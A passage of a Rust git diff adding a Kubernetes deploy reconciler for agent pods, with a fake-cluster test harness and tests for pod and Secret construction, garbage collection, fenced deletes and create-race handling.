+        let mount = &spec.containers[0].volume_mounts.as_ref().unwrap()[0];
+        assert_eq!(mount.name, volume.name);
+        assert_eq!(mount.mount_path, WORKSPACE_PATH);
+    }
+
+    #[test]
+    fn resources_carry_the_configured_requests_and_limits() {
+        let mut cfg = provider_config();
+        cfg.resources.cpu_limit = "4".into();
+        let pod = build_pod(&identity(), &cfg, "g", &Fingerprint::from_annotation("f"));
+        let r = spec(&pod).containers[0].resources.as_ref().unwrap();
+        assert_eq!(r.requests.as_ref().unwrap()["cpu"], Quantity("1".into()));
+        assert_eq!(
+            r.requests.as_ref().unwrap()["memory"],
+            Quantity("2Gi".into())
+        );
+        assert_eq!(r.limits.as_ref().unwrap()["cpu"], Quantity("4".into()));
+        assert_eq!(r.limits.as_ref().unwrap()["memory"], Quantity("4Gi".into()));
+    }
+
+    /// `envFrom` must point at this attempt's Secret and must NOT be optional:
+    /// an optional reference starts the container with no identity at all,
+    /// turning a missing-Secret bug into an agent that silently cannot
+    /// authenticate.
+    #[test]
+    fn env_from_references_this_attempts_secret_and_is_required() {
+        let id = identity();
+        let cfg = provider_config();
+        let pod = build_pod(&id, &cfg, "gen00042", &Fingerprint::from_annotation("f"));
+        let source = &spec(&pod).containers[0].env_from.as_ref().unwrap()[0];
+        let secret_ref = source.secret_ref.as_ref().unwrap();
+        assert_eq!(secret_ref.name, id.secret_name("gen00042"));
+        assert_eq!(secret_ref.optional, Some(false));
+        assert!(source.config_map_ref.is_none());
+    }
+
+    /// Identity, ownership marker, and the recorded intent all travel on the
+    /// pod — the GC and reconciliation fences read exactly these.
+    #[test]
+    fn pod_carries_identity_marker_and_recorded_intent() {
+        let id = identity();
+        let cfg = provider_config();
+        let fp = intent_template(&cfg, ["A".to_string()]).fingerprint();
+        let pod = build_pod(&id, &cfg, "g", &fp);
+        let meta = &pod.metadata;
+        assert_eq!(meta.name.as_deref(), Some(id.pod_name().as_str()));
+        assert_eq!(meta.namespace.as_deref(), Some("buzz-agents-test"));
+        assert_eq!(meta.labels.as_ref().unwrap(), &id.labels());
+        let ann = meta.annotations.as_ref().unwrap();
+        assert_eq!(ann[ANNOTATION_PUBKEY_FULL], id.pubkey_hex());
+        assert_eq!(ann[ANNOTATION_CREATE_INTENT], fp.as_str());
+        assert_eq!(ann[ANNOTATION_IMAGE], cfg.image.as_str());
+    }
+
+    /// The Secret is immutable and marker-bearing: immutability is what makes
+    /// the pod's `envFrom` an atomic binding, and the marker is what GC
+    /// requires before it will delete anything.
+    #[test]
+    fn secret_is_immutable_marked_and_holds_the_env() {
+        let id = identity();
+        let env: BTreeMap<String, String> =
+            [("BUZZ_RELAY_URL".to_string(), "wss://r".to_string())].into();
+        let secret = build_secret(&id, "ns", "gen1", env.clone());
+        assert_eq!(secret.immutable, Some(true));
+        assert_eq!(secret.string_data.as_ref().unwrap(), &env);
+        assert_eq!(
+            secret.metadata.name.as_deref(),
+            Some(id.secret_name("gen1").as_str())
+        );
+        assert_eq!(secret.metadata.labels.as_ref().unwrap(), &id.labels());
+        assert_eq!(
+            secret.metadata.annotations.as_ref().unwrap()[ANNOTATION_PUBKEY_FULL],
+            id.pubkey_hex()
+        );
+        // `data` must stay unset — setting both is an apiserver rejection.
+        assert!(secret.data.is_none());
+    }
+
+    /// Naming a service account selects a scheduling identity; it must not
+    /// re-enable token mounting (§Pod shape hardening, `:1221-1225`).
+    #[test]
+    fn service_account_does_not_re_enable_token_mounting() {
+        let mut cfg = provider_config();
+        cfg.service_account = Some("agent-sa".into());
+        let pod = build_pod(&identity(), &cfg, "g", &Fingerprint::from_annotation("f"));
+        assert_eq!(spec(&pod).service_account_name.as_deref(), Some("agent-sa"));
+        assert_eq!(spec(&pod).automount_service_account_token, Some(false));
+    }
+
+    /// The fingerprint recorded on the pod is the one the classifier will
+    /// recompute — pinned end-to-end so a builder change that forgets to feed
+    /// the template a field cannot pass silently.
+    #[test]
+    fn recorded_fingerprint_matches_a_fresh_computation() {
+        let cfg = provider_config();
+        let keys = ["BUZZ_RELAY_URL".to_string(), "GOOSE_MODE".to_string()];
+        let fp = intent_template(&cfg, keys.clone()).fingerprint();
+        let pod = build_pod(&identity(), &cfg, "gen-a", &fp);
+        let recorded = Fingerprint::from_annotation(
+            &pod.metadata.annotations.as_ref().unwrap()[ANNOTATION_CREATE_INTENT],
+        );
+        assert_eq!(recorded, intent_template(&cfg, keys).fingerprint());
+    }
+
+    /// Two attempts differing only in generation must record the *same*
+    /// fingerprint, or the divergence discriminator fires on every deploy and
+    /// the never-started row deletes healthy pending pods.
+    #[test]
+    fn generation_does_not_change_the_recorded_fingerprint() {
+        let cfg = provider_config();
+        let keys = ["BUZZ_RELAY_URL".to_string()];
+        let a = intent_template(&cfg, keys.clone()).fingerprint();
+        let b = intent_template(&cfg, keys).fingerprint();
+        let id = identity();
+        let pod_a = build_pod(&id, &cfg, "gen-1", &a);
+        let pod_b = build_pod(&id, &cfg, "gen-2", &b);
+        let read =
+            |p: &Pod| p.metadata.annotations.as_ref().unwrap()[ANNOTATION_CREATE_INTENT].clone();
+        assert_eq!(read(&pod_a), read(&pod_b));
+        // ...while the Secret they reference differs.
+        let secret_of = |p: &Pod| {
+            spec(p).containers[0].env_from.as_ref().unwrap()[0]
+                .secret_ref
+                .as_ref()
+                .unwrap()
+                .name
+                .clone()
+        };
+        assert_ne!(secret_of(&pod_a), secret_of(&pod_b));
+    }
+}
diff --git a/crates/buzz-backend-kubernetes/src/reconcile.rs b/crates/buzz-backend-kubernetes/src/reconcile.rs
new file mode 100644
index 0000000000..df2f99789f
--- /dev/null
+++ b/crates/buzz-backend-kubernetes/src/reconcile.rs
@@ -0,0 +1,1585 @@
+//! The deploy loop: executes [`crate::classify`]'s actions against a substrate
+//! and re-enters (spec §Deploy State Machine).
+//!
+//! The substrate is a trait so the conformance tests drive this exact
+//! reconciler — the shipped code path, not a test-only reimplementation — with
+//! a fake cluster and a fake clock.
+//!
+//! Two shapes are worth naming up front, because they are what keep the loop
+//! terminating:
+//!
+//! * **Success means the harness container started** (`:696-699`). There is no
+//!   "deployed but not confirmed" success: `deploy` returns an `agent_id` or an
+//!   in-band error carrying the latest condition. The wire has no third form.
+//! * **A create-conflict loser never repairs.** It verifies the winner, drops
+//!   its own Secret, and *observes* until the winner starts. Applying the
+//!   divergence row to the pod that just beat it is exactly the ping-pong the
+//!   spec forbids (`:845-850`), and the escape it names is the *next* deploy,
+//!   not this one.
+
+use crate::classify::{self, Action, Fence, Startup, VerifiedPod};
+use crate::config::ProviderConfig;
+use crate::gc;
+use crate::naming::AgentIdentity;
+use crate::observe::{self, StartupObservation};
+use chrono::{DateTime, Utc};
+use k8s_openapi::api::core::v1::{Pod, Secret};
+use std::collections::BTreeMap;
+use std::time::Duration;
+
+/// Outcome of a create against the deterministic pod name.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum CreateOutcome {
+    Created,
+    /// 409 with `Status.reason: AlreadyExists` — a concurrent attempt won.
+    /// Discriminated on the typed reason, never on the HTTP code alone: 409 is
+    /// also `Conflict`, which means a failed precondition (`:780-794`).
+    AlreadyExists,
+}
+
+/// Outcome of a fenced delete.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum DeleteOutcome {
+    Accepted,
+    /// Already gone. Delete-not-found is success (`:842`).
+    NotFound,
+    /// 409 with `Status.reason: Conflict` — the object changed since the
+    /// observation that authorized this delete. Neither an error nor
+    /// permission to retry: re-enter and classify what exists now
+    /// (`:775-777`).
+    PreconditionFailed,
+}
+
+/// The cluster operations the reconciler needs. Everything here is I/O;
+/// everything that decides is pure and lives in `classify`/`gc`.
+#[allow(async_fn_in_trait)]
+pub trait Substrate {
+    /// Create the namespace if absent. On RBAC denial the error MUST name the
+    /// literal `kubectl create namespace <name>` command and MUST NOT fall
+    /// back to `default` (`:1002-1005`).
+    async fn ensure_namespace(&self, namespace: &str) -> Result<(), String>;
+
+    /// Most-recent read of the pods matching this identity's selector, plus
+    /// the apiserver's clock from the same call's HTTP `Date` header. `None`
+    /// clock means the header was absent or unparseable, which makes the
+    /// orphan-Secret sweep skip (`:1321-1335`).
+    async fn list_pods(&self, selector: &str) -> Result<(Vec<Pod>, Option<DateTime<Utc>>), String>;
+
+    async fn list_secrets(&self, selector: &str) -> Result<Vec<Secret>, String>;
+
+    /// Most-recent existence check (`resourceVersion` explicitly unset, not
+    /// `"0"`): the classifier treats a confirmed absence as proof, so a
+    /// possibly-stale cache read would be proof of nothing (`:761-769`).
+    async fn secret_exists(&self, name: &str) -> Result<bool, String>;
+
+    async fn create_secret(&self, secret: &Secret) -> Result<(), String>;
+
+    async fn create_pod(&self, pod: &Pod) -> Result<CreateOutcome, String>;
+
+    /// Compare-and-delete against the fence from the authorizing observation.
+    /// Uses the object's own grace period — never `grace_period_seconds: 0`,
+    /// which is a force-kill that discards the declared 60s shutdown budget
+    /// (`:1185-1189`).
+    async fn delete_pod(&self, name: &str, fence: &Fence) -> Result<DeleteOutcome, String>;
+
+    /// Best-effort: the Secret may already be gone, which is success.
+    async fn delete_secret(&self, name: &str) -> Result<(), String>;
+
+    /// Read one pod by name, most-recent. `None` is a confirmed absence.
+    async fn get_pod(&self, name: &str) -> Result<Option<Pod>, String>;
+
+    async fn sleep(&self, duration: Duration);
+
+    /// Monotonic elapsed time since the operation began. Fake-clock driven in
+    /// tests; the deadline must not depend on wall-clock adjustments.
+    fn elapsed(&self) -> Duration;
+}
+
+/// Interval between reconciler polls. Short enough that a fast start is
+/// reported promptly, long enough not to hammer the apiserver for 600s.
+const POLL_INTERVAL: Duration = Duration::from_secs(2);
+
+/// The deploy operation deadline (spec §Deploy: `timeout: 600s`).
+const DEADLINE: Duration = Duration::from_secs(gc::OPERATION_DEADLINE_SECS as u64);
+
+/// Settle a pod's startup state, performing the one most-recent Secret read
+/// that `CreateContainerConfigError` requires.
+async fn settle(substrate: &impl Substrate, pod: &Pod) -> Result<Startup, String> {
+    Ok(match observe::decode_startup(pod) {
+        StartupObservation::Resolved(startup) => startup,
+        StartupObservation::ConfigErrorPendingSecretCheck { secret_name } => {
+            // A confirmed absence is proof; anything else stays recoverable,
+            // because the kubelet's reason string alone is not evidence.
+            if substrate.secret_exists(&secret_name).await? {
+                Startup::NeverStartedRecoverable
+            } else {
+                Startup::NeverStartedProvablyBroken
+            }
+        }
+    })
+}
+
+/// Observe the single pod owned by this identity, verified.
+///
+/// `Ok(None)` conflates "absent" with "present but not ours" on purpose *here*
+/// — both mean the classifier has nothing it may act on. The create path
+/// separates them, because only there is the difference actionable.
+async fn observe_pod(
+    substrate: &impl Substrate,
+    identity: &AgentIdentity,
+) -> Result<Option<VerifiedPod>, String> {
+    let Some(pod) = substrate.get_pod(&identity.pod_name()).await? else {
+        return Ok(None);
+    };
+    let startup = settle(substrate, &pod).await?;
+    Ok(observe::verify(&pod, identity, startup))
+}
+
+/// The latest condition to report, read fresh at the moment of reporting.
+///
+/// Reading it here rather than threading it through every loop iteration is
+/// what "the *latest* redacted condition" (`:689`) asks for, and it costs a
+/// read only on the paths that are already failing.
+async fn latest_condition(substrate: &impl Substrate, identity: &AgentIdentity) -> String {
+    match substrate.get_pod(&identity.pod_name()).await {
+        Ok(Some(pod)) => observe::condition(&pod)
+            .unwrap_or_else(|| "no condition reported by the cluster".to_string()),
+        Ok(None) => "the pod no longer exists".to_string(),
+        Err(e) => format!("the pod's condition could not be read: {e}"),
+    }
+}
+
+/// Preflight GC (§K8s GC). Failures are logged and swallowed: GC is hygiene,
+/// and a deploy must not fail because a stale object could not be listed or
+/// removed. A denial that actually blocks this deploy resurfaces at create,
+/// where the message names the operation the user was denied.
+async fn preflight_gc(substrate: &impl Substrate, identity: &AgentIdentity) {
+    if let Err(e) = try_preflight_gc(substrate, identity).await {
+        eprintln!("gc: preflight pass skipped: {e}");
+    }
+}
+
+async fn try_preflight_gc(
+    substrate: &impl Substrate,
+    identity: &AgentIdentity,
+) -> Result<(), String> {
+    let selector = identity.selector();
+    let (pods, server_now) = substrate.list_pods(&selector).await?;
+    let secrets = substrate.list_secrets(&selector).await?;
+
+    let mut terminated: Vec<String> = Vec::new();
+    for pod in &pods {
+        if matches!(settle(substrate, pod).await?, Startup::Terminated) {
+            if let Some(name) = pod.metadata.name.clone() {
+                terminated.push(name);
+            }
+        }
+    }
+
+    let plan = gc::plan(
+        identity,
+        &pods,
+        &secrets,
+        |pod| {
+            pod.metadata
+                .name
+                .as_deref()
+                .map(|n| terminated.iter().any(|t| t == n))
+                .unwrap_or(false)
+        },
+        server_now,
+    );
+
+    for name in &plan.pods {
+        // Re-read to fence the delete against the object we just observed; a
+        // pod that changed since the list is simply skipped this pass.
+        let Some(pod) = substrate.get_pod(name).await? else {
+            continue;
+        };
+        let (Some(uid), Some(rv)) = (
+            pod.metadata.uid.clone(),
+            pod.metadata.resource_version.clone(),
+        ) else {
+            continue;
+        };
+        if !matches!(settle(substrate, &pod).await?, Startup::Terminated) {
+            continue;
+        }
+        let fence = Fence {
+            uid,
+            resource_version: rv,
+        };
+        if let Err(e) = substrate.delete_pod(name, &fence).await {
+            eprintln!("gc: could not delete terminated pod {name}: {e}");
+        }
+    }
+    for name in &plan.secrets {
+        if let Err(e) = substrate.delete_secret(name).await {
+            eprintln!("gc: could not delete secret {name}: {e}");
+        }
+    }
+    Ok(())
+}
+
+/// Wait for a pod to actually disappear.
+///
+/// Mandatory before recreating: `DELETE` returns success while the object
+/// still exists, and the deterministic name stays taken for the whole grace
+/// period (`:1177-1195`).
+async fn await_disappearance(substrate: &impl Substrate, name: &str) -> Result<(), String> {
+    while substrate.elapsed() < DEADLINE {
+        if substrate.get_pod(name).await?.is_none() {
+            return Ok(());
+        }
+        substrate.sleep(POLL_INTERVAL).await;
+    }
+    Err(format!(
+        "timed out after {}s waiting for {name} to finish terminating",
+        DEADLINE.as_secs()
+    ))
+}
+
+/// Is `secret` referenced by any pod that currently exists under this
+/// identity's selector?
+///
+/// Protection deliberately spans *all* our pods, not just the winner: an
+/// `envFrom` reference from a pod still pulling its image is exactly as
+/// load-bearing as one from a running pod (`:1261-1264`).
+async fn secret_is_referenced(
+    substrate: &impl Substrate,
+    identity: &AgentIdentity,
+    secret: &str,
+) -> Result<bool, String> {
+    let (pods, _) = substrate.list_pods(&identity.selector()).await?;
+    Ok(pods
+        .iter()
+        .filter_map(observe::referenced_secret)
+        .any(|name| name == secret))
+}
+
+/// Drop this attempt's own Secret once nothing references it.
+///
+/// Only ever called with a name this process generated, and gated on the
+/// reference check: "never the winner's, never any Secret referenced by an
+/// existing pod" (`:1259-1264`). Failure is logged, not fatal — a leaked
+/// Secret is collected by the age-gated sweep.
+async fn drop_own_secret(substrate: &impl Substrate, identity: &AgentIdentity, secret: &str) {
+    match secret_is_referenced(substrate, identity, secret).await {
+        Ok(false) => {
+            if let Err(e) = substrate.delete_secret(secret).await {
+                eprintln!("could not clean up own unreferenced secret {secret}: {e}");
+            }
+        }
+        Ok(true) => {}
+        Err(e) => eprintln!("could not check whether {secret} is still referenced: {e}"),
+    }
+}
+
+/// Lost the create race: adopt the elected winner.
+///
+/// Observe-only by construction — this function has no delete edge for the
+/// pod. A winner that is terminated or provably broken is reported, not
+/// repaired; the spec's escape is "a *subsequent* deploy that walks in and
+/// observes that never-started divergent winner replaces it normally"
+/// (`:849-850`).
+async fn adopt_winner(
+    substrate: &impl Substrate,
+    identity: &AgentIdentity,
+    own_secret: &str,
+) -> Result<String, String> {
+    let name = identity.pod_name();
+
+    // Verify before adopting. A pod under our deterministic name that fails
+    // the marker/annotation check is not ours to adopt, wait for, or touch —
+    // and it will never become ours, so this is terminal rather than a retry.
+    match substrate.get_pod(&name).await? {
+        None => {}
+        Some(pod) => {
+            let startup = settle(substrate, &pod).await?;
+            if observe::verify(&pod, identity, startup).is_none() {
+                drop_own_secret(substrate, identity, own_secret).await;
+                return Err(format!(
+                    "a pod named {name} already exists in this namespace but is not \
+                     managed by this provider for this agent (it lacks the management \
+                     marker or carries a different agent identity). Remove it, or \
+                     deploy this agent to a different namespace."
+                ));
+            }
+        }
+    }
+
+    drop_own_secret(substrate, identity, own_secret).await;
+
+    // Then wait for the winner exactly as we would wait for our own pod:
+    // success still means the harness container started.
+    loop {
+        if substrate.elapsed() >= DEADLINE {
+            return Err(format!(
+                "startup not confirmed within {}s for {name} (another deploy of this \
+                 agent created it): {}",
+                DEADLINE.as_secs(),
+                latest_condition(substrate, identity).await
+            ));
+        }
+        match observe_pod(substrate, identity).await? {
+            Some(pod) if matches!(pod.startup, Startup::Started) => return Ok(pod.name),
+            Some(pod) if pod.deletion_marked => {
+                return Err(format!(
+                    "{name} was created by another deploy of this agent and is already \
+                     being deleted; try again"
+                ))
+            }
+            Some(pod)
+                if matches!(
+                    pod.startup,
+                    Startup::Terminated | Startup::NeverStartedProvablyBroken
+                ) =>
+            {
+                return Err(format!(
+                    "{name} was created by another deploy of this agent and did not \
+                     start: {}",
+                    latest_condition(substrate, identity).await
+                ))
+            }
+            // Gone again, or still coming up: keep observing under this
+            // operation's deadline.
+            _ => substrate.sleep(POLL_INTERVAL).await,
+        }
+    }
+}
+
+/// Run the deploy state machine to a terminal outcome: the started pod's name,
+/// or an in-band error carrying the latest condition.
+pub async fn deploy(
+    substrate: &impl Substrate,
+    identity: &AgentIdentity,
+    cfg: &ProviderConfig,
+    env: BTreeMap<String, String>,
+) -> Result<String, String> {
+    substrate.ensure_namespace(&cfg.namespace).await?;
+    preflight_gc(substrate, identity).await;
+
+    let desired = crate::pod::intent_template(cfg, env.keys().cloned()).fingerprint();
+
+    // Has THIS call created a pod? Set once its create lands. The replacement
+    // rows below are for residue from a previous life; once this call has made
+    // its own attempt, a replace-classification means that attempt failed —
+    // and startup verification is part of create, so the failure is reported
+    // in-band rather than retried. Without this bound a deterministic startup
+    // failure (the harness starts, rejects its configuration, exits) is
+    // delete-recreated every poll for the whole deadline, minting an immutable
+    // Secret per cycle — measured live at 107 Secrets in one 600s call, every
+    // one younger than the orphan sweep's age gate.
+    let mut created_this_call = false;
+
+    loop {
+        if substrate.elapsed() >= DEADLINE {
+            return Err(format!(
+                "startup not confirmed within {}s for {}: {}",
+                DEADLINE.as_secs(),
+                identity.pod_name(),
+                latest_condition(substrate, identity).await
+            ));
+        }
+
+        let observed = observe_pod(substrate, identity).await?;
+        match classify::classify(observed.as_ref(), &desired) {
+            // The only success edge: the harness container is running.
+            Action::NoOp { agent_id } => return Ok(agent_id),
+
+            // Self-healing states. Never delete, on this call or any later one
+            // — what replaces a never-started pod is a config change, never a
+            // deadline (`:717-729`).
+            Action::Observe { .. } => substrate.sleep(POLL_INTERVAL).await,
+
+            // A pull that will not self-heal: report now rather than spend the
+            // remaining deadline on it. Still no delete authority.
+            Action::Report { name, failure } => {
+                return Err(format!(
+                    "{name} did not start: {}",
+                    observe::pull_failure_message(failure, cfg.image.as_str())
+                ))
+            }
+
+            Action::AwaitDisappearance { name } => await_disappearance(substrate, &name).await?,
+
+            Action::Delete { name, fence } => {
+                // This call already made its own attempt, and that attempt is
+                // what the classification wants replaced: it terminated (the
+                // deterministic startup failure — the harness starts, rejects
+                // its configuration, exits) or was proven broken. Replacing it
+                // here retries the identical configuration against the same
+                // cluster: a hot delete/mint/create cycle every poll for the
+                // whole deadline, an immutable Secret per cycle — measured
+                // live at 107 Secrets in one 600s call, all younger than the
+                // orphan sweep's age gate. Report in-band instead. The residue
+                // is deliberate: the next Start's preflight GC collects the
+                // terminated pod and its referenced Secret together, so retry
+                // is gated on fresh owner intent and litter stays bounded at
+                // one pod + one Secret per press.
+                if created_this_call {
+                    return Err(format!(
+                        "{name} was created by this deploy and did not stay \
+                         running: {}. Not retrying in this call — an immediate \
+                         exit recurs until its cause is fixed. Check the \
+                         agent's configuration and press Start to try again.",
+                        latest_condition(substrate, identity).await
+                    ));
+                }
+                match substrate.delete_pod(&name, &fence).await? {
+                    // Accepted or already gone: both need the disappearance
+                    // poll before the name is free again.
+                    DeleteOutcome::Accepted | DeleteOutcome::NotFound => {
+                        await_disappearance(substrate, &name).await?
+                    }
+                    // The object changed since the observation that authorized
+                    // this delete. Discard the action and re-classify — never
+                    // retry with a fresher fence, which would delete something
+                    // we never examined. Sleep before re-entering: the losing
+                    // race is against another writer, and re-reading at full
+                    // speed is a busy-retry with no better odds than a paced
+                    // one.
+                    DeleteOutcome::PreconditionFailed => substrate.sleep(POLL_INTERVAL).await,
+                }
+            }
+
+            Action::Create => {
+                let generation = crate::naming::new_generation();
+                let secret_name = identity.secret_name(&generation);
+
+                // The generation is minted *per attempt*, and it is two things
+                // at once: the Secret's name suffix and the lifecycle
+                // correlator the harness reports. `build_env` stamped the
+                // caller's generation, so on any attempt after the first the
+                // two would name different generations — pod logs correlating
+                // to a Secret that is not the one mounted. Restamp so there is
+                // exactly one generation per attempt (§K8s Secrets).
+                let mut env = env.clone();
+                env.insert(crate::env::START_NONCE_KEY.to_string(), generation.clone());
+
+                // Secret first: the pod's spec references this exact name, so
+                // payload and Secret are atomic at the pod-spec boundary.
+                let secret = crate::pod::build_secret(identity, &cfg.namespace, &generation, env);
+                substrate.create_secret(&secret).await?;
+
+                let pod = crate::pod::build_pod(identity, cfg, &generation, &desired);
+                match substrate.create_pod(&pod).await? {
+                    // Re-enter rather than wait inline: the next iteration
+                    // observes what we just created and runs the same rows
+                    // every other state runs through. One loop, one table.
+                    //
+                    // Sleep first. A just-created pod cannot already be
+                    // started, so the immediate observation has no outcome but
+                    // "still coming up" — and if it ever came back
+                    // unverifiable, re-entering without advancing the clock
+                    // would hot-spin creates against the apiserver for the
+                    // whole deadline.
+                    CreateOutcome::Created => {
+                        created_this_call = true;
+                        substrate.sleep(POLL_INTERVAL).await
+                    }
+                    CreateOutcome::AlreadyExists => {
+                        return adopt_winner(substrate, identity, &secret_name).await
+                    }
+                }
+            }
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::config::Resources;
+    use crate::naming::{ANNOTATION_CREATE_INTENT, ANNOTATION_PUBKEY_FULL, LABEL_MANAGED_BY};
+    use k8s_openapi::api::core::v1::{
+        ContainerState, ContainerStateRunning, ContainerStateTerminated, ContainerStateWaiting,
+        ContainerStatus, PodStatus,
+    };
+    use k8s_openapi::apimachinery::pkg::apis::meta::v1::Time;
+    use std::cell::RefCell;
+    use std::future::Future;
+    use std::pin::pin;
+    use std::task::{Context, Poll, RawWaker, RawWakerVTable, Waker};
+
+    /// Mutates the pod map after a poll, so a test can script a pod that
+    /// starts (or vanishes) partway through an observation loop.
+    type PollHook = Box<dyn Fn(&mut BTreeMap<String, Pod>)>;
+
+    /// A scripted cluster. Single-threaded on purpose: the reconciler is one
+    /// process per operation, and `RefCell` keeps the assertions readable.
+    ///
+    /// This drives the *shipped* `deploy` — the point of the `Substrate` seam.
+    /// Every fake here answers with real `k8s_openapi` objects, so the decode
+    /// and verification layers under test are the ones that run in a cluster.
+    #[derive(Default)]
+    struct Fake {
+        pods: RefCell<BTreeMap<String, Pod>>,
+        secrets: RefCell<Vec<Secret>>,
+        /// Server clock for the GC age gate; `None` models a missing `Date`.
+        server_now: Option<DateTime<Utc>>,
+        /// Elapsed time, advanced only by `sleep` — a fake clock, so a 600s
+        /// deadline test runs instantly and cannot flake on a slow machine.
+        elapsed: RefCell<Duration>,
+        /// Queued create outcomes; the default is `Created`.
+        create_outcomes: RefCell<Vec<CreateOutcome>>,
+        /// Installed when a create loses the race. A winner must be *absent*
+        /// at the observation that decides to create and *present* by the time
+        /// the create lands — pre-seeding it instead makes the loop no-op
+        /// before it ever reaches the create edge.
+        winner: RefCell<Option<Pod>>,
+        /// Every Secret ever created, retained across deletion.
+        created_secrets: RefCell<Vec<Secret>>,
+        /// Queued delete outcomes; the default is `Accepted`.
+        delete_outcomes: RefCell<Vec<DeleteOutcome>>,
+        /// Every mutating call, in order — the anti-mutation assertions read
+        /// this rather than guessing from final state.
+        calls: RefCell<Vec<String>>,
+        /// Applied to the pod map after each poll, so a test can script a pod
+        /// that starts (or vanishes) partway through an observation loop.
+        on_poll: RefCell<Vec<PollHook>>,
+        /// `ensure_namespace` fails with this, if set.
+        namespace_error: Option<String>,
+    }
+
+    impl Fake {
+        fn with_pod(self, pod: Pod) -> Self {
+            self.pods
+                .borrow_mut()
+                .insert(pod.metadata.name.clone().unwrap(), pod);
+            self
+        }
+        fn log(&self, entry: impl Into<String>) {
+            self.calls.borrow_mut().push(entry.into());
+        }
+        fn mutations(&self) -> Vec<String> {
+            self.calls.borrow().clone()
+        }
+    }
+
+    impl Substrate for Fake {
+        async fn ensure_namespace(&self, namespace: &str) -> Result<(), String> {
+            match &self.namespace_error {
+                Some(e) => Err(e.clone()),
+                None => {
+                    self.log(format!("ensure_namespace {namespace}"));
+                    Ok(())
+                }
+            }
+        }
+
+        async fn list_pods(
+            &self,
+            _selector: &str,
+        ) -> Result<(Vec<Pod>, Option<DateTime<Utc>>), String> {
+            Ok((
+                self.pods.borrow().values().cloned().collect(),
+                self.server_now,
+            ))
+        }
+
+        async fn list_secrets(&self, _selector: &str) -> Result<Vec<Secret>, String> {
+            Ok(self.secrets.borrow().clone())
+        }
+
+        async fn secret_exists(&self, name: &str) -> Result<bool, String> {
+            Ok(self
+                .secrets
+                .borrow()
+                .iter()
+                .any(|s| s.metadata.name.as_deref() == Some(name)))
+        }
+
+        async fn create_secret(&self, secret: &Secret) -> Result<(), String> {
+            let name = secret.metadata.name.clone().unwrap();
+            self.log(format!("create_secret {name}"));
+            self.secrets.borrow_mut().push(secret.clone());
+            // Kept even after the Secret is deleted: assertions about what an
+            // attempt *wrote* must not be silently vacuous once cleanup runs.
+            self.created_secrets.borrow_mut().push(secret.clone());
+            Ok(())
+        }
+
+        async fn create_pod(&self, pod: &Pod) -> Result<CreateOutcome, String> {
+            let name = pod.metadata.name.clone().unwrap();
+            self.log(format!("create_pod {name}"));
+            let outcome = if self.create_outcomes.borrow().is_empty() {
+                CreateOutcome::Created
+            } else {
+                self.create_outcomes.borrow_mut().remove(0)
+            };
+            if outcome == CreateOutcome::Created {
+                // The apiserver stamps these on admission; a builder never
+                // carries them. Without them the pod fails `verify`'s fence
+                // extraction and the loop can never see what it just created.
+                let mut pod = pod.clone();
+                pod.metadata.uid = Some(format!("uid-created-{}", self.calls.borrow().len()));
+                pod.metadata.resource_version = Some("1".into());
+                self.pods.borrow_mut().insert(name, pod);
+            } else if let Some(winner) = self.winner.borrow_mut().take() {
+                // The concurrent attempt's pod becomes visible exactly when our
+                // create is rejected — the ordering a real race produces.
+                self.pods.borrow_mut().insert(name, winner);
+            }
+            Ok(outcome)
+        }
+
+        async fn delete_pod(&self, name: &str, fence: &Fence) -> Result<DeleteOutcome, String> {
+            self.log(format!(
+                "delete_pod {name} uid={} rv={}",
+                fence.uid, fence.resource_version
+            ));
+            let outcome = if self.delete_outcomes.borrow().is_empty() {
+                DeleteOutcome::Accepted
+            } else {
+                self.delete_outcomes.borrow_mut().remove(0)
+            };
+            if outcome == DeleteOutcome::Accepted {
+                self.pods.borrow_mut().remove(name);
+            }
+            Ok(outcome)
+        }
+
+        async fn delete_secret(&self, name: &str) -> Result<(), String> {
+            self.log(format!("delete_secret {name}"));
+            self.secrets
+                .borrow_mut()
+                .retain(|s| s.metadata.name.as_deref() != Some(name));
+            Ok(())
+        }
+
+        async fn get_pod(&self, name: &str) -> Result<Option<Pod>, String> {
+            Ok(self.pods.borrow().get(name).cloned())
+        }
+
+        async fn sleep(&self, duration: Duration) {
+            *self.elapsed.borrow_mut() += duration;
+            let hooks = self.on_poll.borrow();
+            let mut pods = self.pods.borrow_mut();
+            for hook in hooks.iter() {
+                hook(&mut pods);
+            }
+        }
+
+        fn elapsed(&self) -> Duration {
+            *self.elapsed.borrow()
+        }
+    }
+
+    fn identity() -> AgentIdentity {
+        use nostr::nips::nip19::ToBech32;
+        let keys = nostr::Keys::generate();
+        AgentIdentity::from_nsec(&keys.secret_key().to_bech32().unwrap()).unwrap()
+    }
+
+    fn config() -> ProviderConfig {
+        ProviderConfig {
+            context: None,
+            namespace: "buzz-agents-test".into(),
+            image: crate::image::parse(&format!(
+                "ghcr.io/block/buzz-sprig@sha256:{}",
+                "a".repeat(64)
+            ))
+            .unwrap(),
+            resources: Resources::default(),
+            inactivity_seconds: Some(7200),
+            service_account: None,
+        }
+    }
+
+    fn env() -> BTreeMap<String, String> {
+        [("BUZZ_RELAY_URL".to_string(), "wss://r".to_string())]
+            .into_iter()
+            .collect()
+    }
+
+    /// A pod exactly as this provider would have created it — same builder the
+    /// reconciler uses, so verification is exercised rather than bypassed.
+    fn our_pod(id: &AgentIdentity, cfg: &ProviderConfig, state: Option<ContainerState>) -> Pod {
+        let fp = crate::pod::intent_template(cfg, env().keys().cloned()).fingerprint();
+        let mut pod = crate::pod::build_pod(id, cfg, "gen-existing", &fp);
+        pod.metadata.uid = Some("uid-1".into());
+        pod.metadata.resource_version = Some("100".into());
+        pod.status = Some(PodStatus {
+            phase: Some("Running".into()),
+            container_statuses: state.map(|s| {
+                vec![ContainerStatus {
+                    name: crate::observe::CONTAINER_NAME.into(),
+                    state: Some(s),
+                    ..Default::default()
+                }]
+            }),
+            ..Default::default()
+        });
+        pod
+    }
+
+    fn running() -> ContainerState {
+        ContainerState {
+            running: Some(ContainerStateRunning::default()),
+            ..Default::default()
+        }
+    }
+
+    fn terminated() -> ContainerState {
+        ContainerState {
+            terminated: Some(ContainerStateTerminated::default()),
+            ..Default::default()
+        }
+    }
+
+    fn waiting(reason: &str) -> ContainerState {
+        ContainerState {
+            waiting: Some(ContainerStateWaiting {
+                reason: Some(reason.into()),
+                message: None,
+            }),
+            ..Default::default()
+        }
+    }
+
